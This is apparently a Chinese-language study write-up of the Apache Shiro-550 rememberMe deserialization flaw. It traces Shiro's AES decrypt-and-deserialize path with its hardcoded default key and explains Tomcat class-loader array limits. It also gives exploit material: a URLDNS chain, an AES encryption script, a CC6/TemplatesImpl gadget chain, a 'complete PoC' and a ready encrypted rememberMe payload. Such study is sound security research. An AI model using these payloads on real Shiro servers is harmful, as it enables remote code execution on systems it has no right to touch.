java安全-shiro550漏洞
java安全-shiro 550漏洞
一、项目搭建
1.环境
1 | jdk8u65 |
项目为 P 神开源shiro项目
1 | https://github.com/phith0n/JavaThings.git |
git clone即可
2.搭建
idea加载shiro\JavaThings\shirodemo该项目
切换jdk版本
配置tomcat服务器,设置打开
配置项目工件
配置项目设置
在tomcat中将工件添加
然后点击右上角运行即可
二、shiro学习
shrio自动处理登录
具体流程
1 | ┌──────────────────────────────────────────────────────────────────┐ |
1.shiro功能
身份认证
这是最基础的功能。用户在登录页面输入用户名和密码,Shiro 负责拿着这些信息去数据库(通过 Realm,你可以理解为保安手中的花名册)里比对。
代码里长这样:
1
2
3Subject currentUser = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("xiaochuan", "123456");
currentUser.login(token); // 这一行就在查户口
授权
用户登录成功了,但他是个普通员工还是管理员?
- 场景:普通用户只能看“我的订单”,管理员能看“所有订单”和“删除订单”。
- Shiro 会在代码里帮你做判断,比如
@RequiresRoles("admin"),如果用户没这个角色,Shiro 直接抛异常,不让你通过。
会话管理
- Web 环境:通常用 Tomcat 自带的 Session。但 Shiro 自己实现了一套 Session 机制。
- 牛在哪?:即使你的应用不是 Web 应用(比如是一个简单的 Java 命令行工具),Shiro 也能让你使用 Session!这在分布式系统中非常有用(比如把 Session 存到 Redis 里)。
加密
- Shiro 提供了一套非常简单的加密工具,帮你做 MD5、SHA-256 哈希,或者 AES 加密(就是你最开始问的那个 Key 的用途)。它比 Java 原生的加密 API 好用太多了。
2.shiro与Jwt
Shiro RememberMe (传统 Cookie 模式)
- 核心思想:信任服务器。
- 做法:服务器把用户信息(Java 对象)打包、加密、扔给浏览器。浏览器只负责保管这串“乱码”,看不懂里面是啥。
- 数据格式:二进制(Java 序列化数据)。
- 状态:有状态 (Stateful)。服务器拿到 Cookie 后,通常还需要去数据库或内存(Session)里查一下这个用户现在的状态(有没有被封号)。
JWT (Token 模式)
- 核心思想:信任签名。
- 做法:服务器把用户信息写成 JSON(比如
{"user": "xiaochuan", "role": "admin"}),用密钥签个名,扔给浏览器。浏览器可以看到里面的内容(Base64 解码即可)。 - 数据格式:文本(JSON 字符串)。
- 状态:无状态 (Stateless)。服务器拿到 Token,算出签名对不对。如果对,就无条件信任里面的信息(甚至不需要查数据库)。
| 特性 | Shiro RememberMe | JWT (JSON Web Token) |
|---|---|---|
| 致命漏洞 | 反序列化 RCE (远程代码执行) | 算法缺陷 / 密钥泄露 |
| 攻击原理 | 黑客修改 Cookie 内容,服务器反序列化时执行了恶意代码。这是系统级的沦陷。 | 黑客修改 JSON 内容(比如把 role: user 改成 role: admin),如果密钥泄露或算法被篡改为 None,服务器就会信以为真。这是逻辑级的越权。 |
| 数据可见性 | 不可见(加密的)。黑客默认看不懂 Cookie 里存了啥。 | 可见(仅 Base64 编码)。黑客可以直接解码看到 Payload 里的用户信息。 |
| 密钥的作用 | 用于 AES 解密。不知道密钥就无法构造 Payload。 | 用于 HMAC 签名。不知道密钥就无法伪造合法的 Token。 |
3.shiro进行会话管理
普通的 Session ID
- 场景:你登录后,没有关闭浏览器,一直在点击页面。
- Cookie 名字:通常叫
JSESSIONID(Tomcat默认) 或SID(Shiro默认)。 - 内容是啥?:它仅仅是一个随机字符串(乱码 ID),比如
1a2b3c4d...。 - 有没有加密?:没有! 它不需要用那个 AES 密钥加密。它就是一个单纯的“门牌号”。
- 原理:
- 浏览器发来
JSESSIONID=1a2b3c。 - Shiro/Tomcat 拿着这个号码去 内存(或 Redis) 里找。
- 找到了 -> 确认你是小川 -> 放行。
- 浏览器发来
记住我 Cookie
- 场景:你勾选了“记住我”,然后关闭浏览器,第二天再来。
- Cookie 名字:通常叫
rememberMe。 - 内容是串被加密的长字符串!
- 原理:
- 你登录时,Shiro 把你的用户信息(User对象) 序列化 -> AES加密 (用那个 Key) -> Base64 编码。
- 生成的这一大坨东西,塞给浏览器存着。
- 第二天你来了,浏览器把这一大坨东西发给服务器。
- 服务器用 Key 解密 -> 反序列化 -> 恢复出“你是小川”。
- 风险:只有这个 Cookie 才会导致反序列化漏洞(RCE)。
三、shiro550
这里主要利用了会话管理的第二种方式记住我 Cookie

这一串字符将会在没有sessionId时作为凭据可以获取sessionId,因为自然登录时存储的sessionId只是会话时的,只有当前浏览器会话使用,关闭浏览器即销毁,而这个rememberMe字串可以在没有sessionId时进行登录功能实现,原意是好的,但是服务器在解析rememberMe字串时,会反序列化其,获取用户信息,这就导致了反序列化链条的使用!
但Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里这也就导致了Shiro-550
1.服务端解密过程
加密密钥
key配置过程org/apache/shiro/mgt/AbstractRememberMeManager.java中AbstractRememberMeManager构造方法,为decryptionCipherKey赋值定值DEFAULT_CIPHER_KEY_BYTES

解密全过程
入口:AbstractShiroFilter
当一个请求(比如访问首页 /index)到达 Tomcat 时,首先会被 Shiro 的过滤器拦截
1 | // AbstractShiroFilter.java |
委托给 SecurityManager
中间人:WebSubject.Builder
过滤器不知道怎么创建用户,它委托给 SecurityManager。
1 | // Subject.Builder.java |

尝试解析身份
核心大脑:DefaultSecurityManager
这是最关键的一步!SecurityManager 需要决定这个用户是谁。
1 | // DefaultSecurityManager.java |

接着调用AbstractRememberMeManager中getRememberedIdentity
DefaultSecurityManager 里的 getRememberedIdentity 方法,实际上就是调用了配置的 rememberMeManager。
1 | // DefaultSecurityManager.java |

接着org/apache/shiro/mgt/AbstractRememberMeManager.java中getRememberedPrincipals方法

1 | getRememberedSerializedIdentity |
解密字符串

先解密后反序列化
decrypt

底层解密实现
org/apache/shiro/crypto/JcaCipherService.java#decrypt这个是具体的解密算法
这里是解密的核心细节。服务器必须知道前16个字节是 IV,剩下的才是密文,否则无法解密。
1 | // JcaCipherService.java |
deserialize
org/apache/shiro/io/DefaultSerializer#deserialize
在这里调用了readObject方法,作为我们漏洞的调用类
2.加密过程
入口省略,直接从开始加密追踪
org/apache/shiro/mgt/AbstractRememberMeManager#onSuccessfulLogin
rememberIdentity 方法
org/apache/shiro/mgt/AbstractRememberMeManager#rememberIdentity

第一个方法返回用户名补全属性
第二个重构调用

**这里接着调用解密方法 convertPrincipalsToBytes **

这里的加密方法与之前解密如出一辙
org/apache/shiro/mgt/AbstractRememberMeManager#convertPrincipalsToBytes

序列化方法如下图
加密过程
依旧是嵌套方法

这个key值依旧是定值

深度加密,构造vi
长度为16
自此逻辑结束
四、payload构造
1.URLDNS 链
构造DNSLOG链条
1 | //反射获取URL类的hashCode字段 |
对生成后的字节码文件加密
1 | import sys |

将字串替换remember字段

注意这里需要将原本的JsessionId删除,以是服务器解析我们的恶意类
2.CC6 优化链
直接是用CC6发送服务端会报错
原因是
如果在shiro反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误,因此CC6原版报废
为了构造一个不含数组的CC链,尝试优化,创造出了CC11
在前面学习工程中,我们发现CC6的LazyMap.get方法会调用传进来的参数key,结合之前提到的利用TemplatesImpl加载外部类的静态代码块,尝试构造一个没有数组的链
TemplatesImpl自身链
1 | byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\HelloTranslet.class")); |
结合CC6
1 | Transformer chuan0 = new InvokerTransformer("newTransformer",null,null); |
最终执行的便是obj.newTransformer()方法
然后将字节码文件对称加密
1 | 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 |
修改rememberme字段发送
注意 commons collections 版本为3.2.1 JDK版本 以及序列化文件及时替换
完整poc
1 | //TemplatesImpl恶意类构造 |
CC6链也叫做CC11,好用的原因主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些,而且也可以完美的适用于 shiro 漏洞
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了
3.shiro数组问题
ClassResolvingObjectInputStream
普通的 Java 反序列化使用 ObjectInputStream,它在读取类名并加载类时,会调用 resolveClass 方法。
Shiro 为了适配不同的 Web 容器(比如 Tomcat, Jetty)和复杂的 ClassLoader 环境,认为原生的 resolveClass 不够用,于是自己继承并重写了这个类,叫做 org.apache.shiro.io.ClassResolvingObjectInputStream。
在 Shiro 1.2.4 中,它的 resolveClass 逻辑大概是这样的:
1 | // Shiro 1.2.4 的实现 |
正常
java逻辑为
使用
Class.forName("[Ljava.lang.String;")加载
ClassUtils.forName(osc.getName())的具体逻辑是
遇到一个致命缺陷:ClassLoader.loadClass 不认识数组
问题的根源转移到了 ClassUtils.forName() 里面。
Java 的原生机制:
Class.forName("[Ljava.lang.String;"):可以加载 String 数组。ClassLoader.loadClass("[Ljava.lang.String;"):不可以加载数组,会直接抛出ClassNotFoundException。
Shiro 1.2.4 的 bug:
Shiro 的
ClassUtils.forName最终逻辑是获取当前的 ClassLoader,然后直接调用loadClass(name)。当反序列化流中出现一个数组类型(比如
[Lorg.apache.commons.collections.Transformer;)时:- Shiro 拿到类名:
[Lorg.apache.commons.collections.Transformer; - Shiro 调用
loader.loadClass("[Lorg.apache.commons.collections.Transformer;")。 loadClass懵了,它不懂这个[开头的语法,直接报错。- 反序列化中断,Exploit 失败。
- Shiro 拿到类名:
总结: Shiro 1.2.4 的类加载器封装过于简单,直接把数组的底层签名(Signature)丢给了不懂数组签名的
loadClass方法。
4.forname与loadclass
Class.forName("[Ljava.lang.String;")
Class.forName 是一个静态方法。当你调用它时,它实际上是在调用一个 Native(本地)方法。
1 |
|
它能加载数组
这个 Native 方法直接对接 JVM 核心。
- 解析语法:JVM 内部的 C++ 代码会解析传入的字符串。
- 识别数组:当它看到开头是
[时,JVM 明白:“哦,你要的是一个数组”。 - 动态生成:数组类在 Java 中不存在对应的
.class文件,它们是由 JVM 在运行时动态生成的。 - 递归加载:JVM 会解析出数组的元素类型(比如
Ljava.lang.String;去掉L和;变成java.lang.String),然后加载这个元素类,最后组装成一个数组类返回。
结论:Class.forName 是为了“解析并获取类对象”设计的,它懂得 Java 所有的类型语法(包括数组)。
ClassUtils.forName(osc.getName())加载具体逻辑
作用是根据类名(全限定名)加载并返回对应的 Class 对象。
它采用了一种**“三级跳”的加载策略**,目的是为了在复杂的 Java 环境(如 Web 容器、OSGi、多线程环境)中尽可能成功地找到类。
“三级加载”逻辑
这个方法按顺序尝试使用三个不同的 ClassLoader(类加载器)来加载类,一旦加载成功立即返回,只有当三个都失败时才抛出异常。
第一步:尝试线程上下文类加载器 (Thread Context ClassLoader)
1 | Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); |
- 逻辑:首先尝试从当前线程的上下文中获取类加载器来加载。
- 原因:这是最常用的方式,尤其是在 Web 容器(如 Tomcat)或框架(如 Spring)中。主线程通常被设置了能看到 Web 应用
/WEB-INF/lib下所有类的加载器。如果这个加载器找不到,说明该类可能不在应用层级。
第二步:尝试当前类加载器 (Current ClassLoader)
1 | if (clazz == null) { |
- 逻辑:如果第一步失败,使用加载了
ClassUtils这个类本身的加载器。 - 原因:这通常是加载
Shiro核心库的加载器。在某些环境中(如OSGi),线程上下文加载器可能为空或受限,但 Shiro 自身所在的类加载器一定存在且能看到Shiro相关的类。
第三步:尝试系统/应用类加载器 (System/Application ClassLoader)
1 | if (clazz == null) { |
- 逻辑:最后尝试
ClassLoader.getSystemClassLoader()。 - 原因:这是保底操作,对应
CLASSPATH环境变量下的类。如果前两个都找不到,可能是JDK自带的类或者是环境配置极其基础的类。
如果三者都返回 null(或者抛出异常被 Accessor 捕获返回 null),则抛出 UnknownClassException。
尝试加载Tranformer数组时,他是web容器下打包的java文件,当然会由第一种类加载器加载
具体逻辑如下
THREAD_CL_ACCESSOR本质是ExceptionIgnoringAccessor
接着是ParallelWebappClassLoader类加载器
也就是 tomcat 类加载逻辑的最底层类加载器
这里强制步入出问题的话需要到maven里配置tomcat核心包
1
2
3
4
5
6<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>原因是
Maven列表里没有 Tomcat,因为你的项目本身不需要Tomcat的代码就能编译通过你只依赖了javax.servlet-api接口但点击“运行/调试”时,
IntelliJ IDEA会启动一个外部的 Tomcat 服务器来运行代码,记得下载源代码
org/apache/catalina/loader/WebappClassLoaderBase#loadClass
接着进入tomcat核心类加载流程
org/apache/catalina/loader/WebappClassLoaderBase#loadClass
这个的具体流程如下
1 | delegate:如果你在 server.xml 或 context.xml 中配置了 <Loader delegate="true"/>,那么这里为 true,Tomcat 就会退化成标准的双亲委派模式(极少这样配置)。 |
第一阶段:尝试委托给父加载器
1 | // (1) Delegate to our parent if requested |
- 逻辑:如果开启了
delegate或者是属于javax.*等受保护的包,立刻让父加载器(CommonClassLoader)去加载。 - 注意:对于普通的业务类(如
com.mycompany.MyService),delegateLoad通常是false,这段代码不会执行。
第二阶段:Web 应用自己加载—— 核心差异点
1 | // (2) Search local repositories |
- 逻辑:调用
findClass(name)。这个方法会去扫描你的 WAR 包里的:/WEB-INF/classes目录/WEB-INF/lib/*.jar文件
- 意义:这就是 Tomcat “打破双亲委派”的地方!
- 标准 Java 加载器是“先问爸爸,爸爸没有我再找”。
- Tomcat 是“先看我自己有没有,我有就直接用”(除非是
JDK核心类或受保护的包)。
第三阶段:无条件委托给父加载器 (3)
1 | // (3) Delegate to parent unconditionally |
- 逻辑:如果自己(Web 应用)没找到这个类,那么最后再去求助父加载器(
CommonClassLoader)。 - 场景:比如加载
SQL驱动、日志门面(SLF4J)或者 Tomcat 提供的共享库(如果是放在tomcat/lib下的)。
加载Tranformer数组时
Transformer 类位于 Web 应用的 WEB-INF/lib 下。
当 Shiro 调用 WebappClassLoader.loadClass("...Transformer[]") 时,发生了以下连环惨案:
第 (2) 步:Web 应用自己找
代码:clazz = findClass(name);
- Web 加载器的逻辑:它会试图去
WEB-INF/classes或WEB-INF/lib里找一个名字叫...Transformer[].class或[L...Transformer;.class的物理文件 - 结果:失败
- 原因:数组类是
JVM在内存中动态生成的,硬盘上根本不存在对应的.class文件。所以findClass必定返回 null 或抛出异常
第 (3) 步:委托给父加载器
代码:clazz = Class.forName(name, false, parent);
- 动作:Web 加载器说:“我自己找不到文件,爸爸(Common/System ClassLoader),你帮我加载这个数组吧”
- 父加载器的逻辑:
- 父加载器收到请求:加载
Transformer[]。 JVM规定:要创建数组类,必须先加载数组的元素类型(Element Type),也就是Transformer类- 父加载器开始在自己的管辖范围(如 Tomcat/lib 或 JDK/lib)里找
Transformer
- 父加载器收到请求:加载
- 结果:失败
- 致命原因(类可见性):
Transformer在WEB-INF/lib里- 父加载器(Common)看不见儿子的
WEB-INF/lib - 既然连元素类型
Transformer都找不到,数组Transformer[]自然也就无法创建
但是如果是加载 jdk 自身类的数组,可以直接加载
| 类加载器 | JDK 类 (java.lang.*) | Tomcat 类 (org.apache.catalina.*) | Web 应用类 (WEB-INF/lib) |
|---|---|---|---|
| Bootstrap (祖父) | 看得见 | 瞎了 | 瞎了 |
| Common (父亲) | 看得见 | 看得见 | 瞎了 (关键原因) |
| Webapp (儿子) | 看得见 (委派) | 看不见 (被隔离) | 看得见 |
但是但是!!!!
值得注意的是 commons collections 并不是 shiro 自带的依赖,commons BeanUtils 才是,所幸这个依赖也存在反序列化漏洞
